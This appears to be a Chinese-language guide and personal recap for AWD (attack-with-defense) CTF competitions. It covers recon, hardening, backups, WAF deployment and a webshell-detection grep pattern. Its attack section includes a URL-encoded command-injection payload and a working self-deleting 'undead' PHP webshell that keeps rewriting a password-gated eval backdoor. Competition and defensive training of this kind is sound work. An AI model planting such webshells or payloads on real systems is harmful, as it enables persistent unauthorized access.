AWD平台地址推荐:https://github.com/m0xiaoxi/AWD_CTF_Platform
AWD(Attack With Defense,攻防兼备)模式是一个非常有意思的模式,你需要在一场比赛里要扮演攻击方和防守方,攻者得分,失守者会被扣分。也就是说,攻击别人的靶机可以获取 Flag 分数时,别人会被扣分,同时你也要保护自己的主机不被别人得分,以防扣分。详细介绍如下:
出题方会给每一支队伍部署同样环境的主机,主机有一台或者多台。
拿到机器后每个队伍会有一定的加固时间或没有加固时间,这个视规则而定。
每个服务、数据库、主机上都会可能存在 flag 字段,并且会定时刷新。通过攻击拿到 flag 后需要提交到裁判机进行得分,一般会提供指定的提交接口。下一轮刷新后,如果还存在该漏洞,可以继续利用漏洞获取 flag 进行得分。
通常来说,如果攻防赛时间比较短的话,一般只会考核 Web 、数据库的渗透、已有漏洞的利用;如果时间较长,很可能还需要做内网渗透,由于这块比较深入,这篇文章暂时不讲,(因为我自己也不太会。
一般一个队伍由三人组成。负责两个方面:一方面负责防守加固、做基线、加WAF、流量回放等等。一方面负责源码审计、写攻击脚本、维持权限、持续渗透,具体怎么安排都视三人能力而定。
在 AWD 中,Web 攻击流程一般分为信息收集、攻击端口、攻击Web服务、维持权限四步,只要能快速得分,也不一定按照这四步来。
第一步,探测主机。 用 Nmap 或者 HTTPScan等工具,先扫描主办方给的内网存活主机,弄明白网络拓扑。如果主办方给了主机范围的话就更加省事儿了。
第二步,探测端口。 因为主办方给的机器都是一样的,所以直接看自己开了什么端口就行。如果不一样的话,使用 Nmap 进行常见端口扫描,先攻击常见端口,再放后台进行全端口的扫描,发现新端口再加入到攻击队列中。
**第三步,探测端口服务。**端口服务一般用 Nmap 就能扫到,并且可以用 Nmap 的脚本扫一下漏洞,但是需要注意 Nmap 的相关参数,这要根据情况灵活运用。
简单的信息收集到此完成,除了 Nmap 外可以使用自己熟悉的工具,比如说 msf 啥的,方便后续渗透。
由于 AWD 需要的就是手快,端口一般也会有弱口令的情况存在,比如常见的 22、3389、1443、3306 等主机登陆、数据库端口。
我打过的一次省赛中,就遇到了这种情况。主办方只给队伍机器的 IP,给定用户名,需要自行爆破进入机器,并修改密码。如果这个时候你的手慢,爆破脚本没准备好,你的机器就会沦入别人之手。当时我们就是手慢了,只能眼睁睁看着别人拿到了我们的机器,一轮轮掉分了…
Web 方面的语言多为 PHP,小部分为 Java 和 Python。这里的 Web 环境分两种情况,一种是已有漏洞的框架,一种是出题人写的框架。
如果是已有漏洞的框架,通常会比较明显。比如说 Struts 2 各种漏洞等等,用工具扫就可以扫出来。这个需要准备得比较充分,在电脑中备好 EXP 库、漏洞库和各种扫描工具库,以便能够快速利用比较明显的漏洞。总之手要快!
如果是出题人出的框架,常用并且简单有效的做法是把整站源码下载下来,直接用工具审计。以 PHP 举例,一般的流程是先D盾查杀,发现有带有预留后门或者 Webshell 马上报给防守队友进行加固。
把后门的问题搞定、防止别人快速拿分后,其次才是源码审计,发现问题点后迅速验证,报给防守队友,并且开始写攻击脚本。以 PHP 举例,一般是使用 Seay 等源码审计工具,审核出比较明显的漏洞。
完成了工具扫描后,开始常规的渗透测试,比如说文件上传、SQL 注入等等,看是否能绕过,找到一个点马上写利用脚本。
一顿操作猛如虎,拿到 Webshell 后要维持权限。简单的 Webshell 一眼就看出来了好伐,在 AWD 中优先考虑种不死马、反弹 shell,用一般木马的留后门方式维持权限,以便后续刷 flag,再考虑提升权限。有的同学不知道啥叫"不死马",解释一下,"不死马"的主要功能是执行后会不断在该路径生成一个 shell 文件,用于菜刀等工具进行连接,是一种维持权限的方法。
小 Trick: 使用 `find / -name *flag*` 或 `grep -rn “flag” *` 类似的语句可以快速发现 flag 所在的地方,方便后续拿分。
防守队友做的事情简单来说,按优先级有以下几个:
重中之重:备份网站源码和数据库。这个作用有二,一是以防自己魔改网站源码或数据库后无法恢复,二是裁判一般会定时 Check 服务是否正常,如果不正常会进行扣分,因此备份也可以防对手入侵主机删源码后快速恢复服务。
系统安全性检查。就是不该开的端口 3306 有没有开启、有没有限制 SSH 登陆、SSH密码 修改、MySQL 是否为默认密码等等,这里可以用脚本刷一遍。
部署 WAF。用自己提前准备好的 WAF,使用脚本进行快速部署,但是要注意验证会不会部署完后服务不可用。
修改权限。比如说 MySQL 用户读表权限,上传目录是否可执行的权限等等。
部署文件监控脚本。监控可读写权限的目录是否新增、删除文件并及时提醒。这里说下,如果被种了不死马的话通常有以下几种克制方法:
强行 kill 掉进程后重启服务
建立一个和不死马相同名字的文件或者目录
写脚本不断删除文件
不断写入一个和不死马同名的文件
修改密码:passwd
tar -czvf /tmp/html.tar.gz /var/www/html(压缩)
cd /tmp
tar -xzvf /tmp/html.tar.gz(解压)
cp -R /tmp/var/www/html/. /var/www/html/ (复制)
mysql dump -u root -p test(数据库名) > test.sql(备份数据库)
mysql -u root -p test(数据库名) < test.sql (还原数据库)
数据库启停:
service mysql start
service mysql stop
修改密码:
5.7版本以前 update user set password=password("密码") where user ="用户名"
5.7版本以后 update mysql.user set authentication_string = password("新密码") where user ="用户名"
8.0版本 alter user '用户名'@'localhost' identified with mysql_native_password by '新密码';
flush privileges;
刷新Mysql的系统权限相关表
数据库备份:
mysqldump -u root -p123 -P3306 -A >backdb.sql
数据库还原:
方法一:mysql -u root -p密码 库名< backdb.sql
方法二:source var/www/html/backdb.sql
(mysql中)
上WAF或日志记录(若waf在web目录下需要删除掉waf文件的include)
find /var/www/html -name "*.php"|xargs sed -i "s#\ninclude('/var/www/html/php_log.php');\n#g"
快速查一下shell
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
tcpdump tcp -t -s 0 and port 80 -w /tmp/target.cap
-t : 不显示时间戳
-s 0 : 抓取数据包时默认抓取长度为68字节。加上-S 0 后可以抓到完整的数据包
攻击思路: 扫描攻击目标:sudo masscan --range 192.168.100.1-192.168.100.100 -Pn -p5000 -oX scan.xml。解析scan.xml到IP.txt
View Code。burp抓取payload后批量攻击:
命令执行写入不死马,GET方式需要转换为url编码:
cmd=system('while%20true%3Bdo%20echo%20%5C'%3C%3Fphp%20if(md5(%24_GET%5Bpasswd%5D)%3D%3D%22139bdb983ee92a3624f2cc978f0cb3b7%22)%7B%40eval(%24_REQUEST%5Bcmd%5D)%3B%7D%20%3F%3E%5C'%20%3E.config.php%3Bsleep%200.1%3Bdone%3B')%3B
明文:
system('while true;do echo \'\' >.config.php;sleep 0.1;done;');
不死马.php:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
//.config.php?passwd=FPXtian&cmd=system("ls");
构造获取flag payload,使用插件copy as python-requests生成requests库的参数,替换至批量访问脚本中批量访问
1、分析流量:修复漏洞,或者直接通过其他队伍的攻击流量进行批量反打。
2、杀不死马:
1 while true
2 do
3 rm -f .config.php
4 done
AWD 攻防赛前需要准备的有:
1. 各种软件包,如 Python、CURL 等等,以备机器上没有而陷入尴尬
2. 一大堆 EXP 库和漏洞库,可以放个乌云的虚拟机备用
3. 加固、基线检查脚本
4. WAF 代码和部署脚本
5. AWD 专用的批量拿 Webshell、批量交
flag、批量维持权限的基本代码或小框架
比赛开始,Xshell连上了ssh,先改密码(听说有的没早点改密码的变成了别的队伍的工具机),然后用Xftp下载网站源码。蒙了一下,用御剑扫了所有端口,刚开始没发现有什么不一样的,后面才观察到好几个端口是连续的,对应四个队伍,10结尾的都是robot机。不一会儿,大屏幕传来声音,有的队伍被攻破了,不一会儿我的easy_web也被攻破了。但是baby_web迟迟没有队伍搞出来。后来主办方提示了baby那题是thinkphp rce漏洞,又不一会儿,大部分队伍的baby_web也被攻破了。
我在那蒙了半天,直到快中午才上道。
差不多流程应该是 :先连ssh用passwd改密,下载网站源码备份好,用d盾和seay工具审计明显的漏洞(一句话等),再从源码中数据库(大部分是MySQL)连接部分获得MySQL的账号密码和数据库名,并进行相应的数据库备份。在规定时间间隔(我们这次GFCTF线下赛是五分钟)修复对应漏洞,注意是否可以挂waf。有的队伍会把别队的站搞down。此时可以开始编写脚本或者修改已有的脚本,分别做好护站和自动化攻击提交flag操作。在这过程中,一定要时刻注意自己的服务正常与否 。
提前熟悉流程,做好分工,备好脚本,强调一个字:快。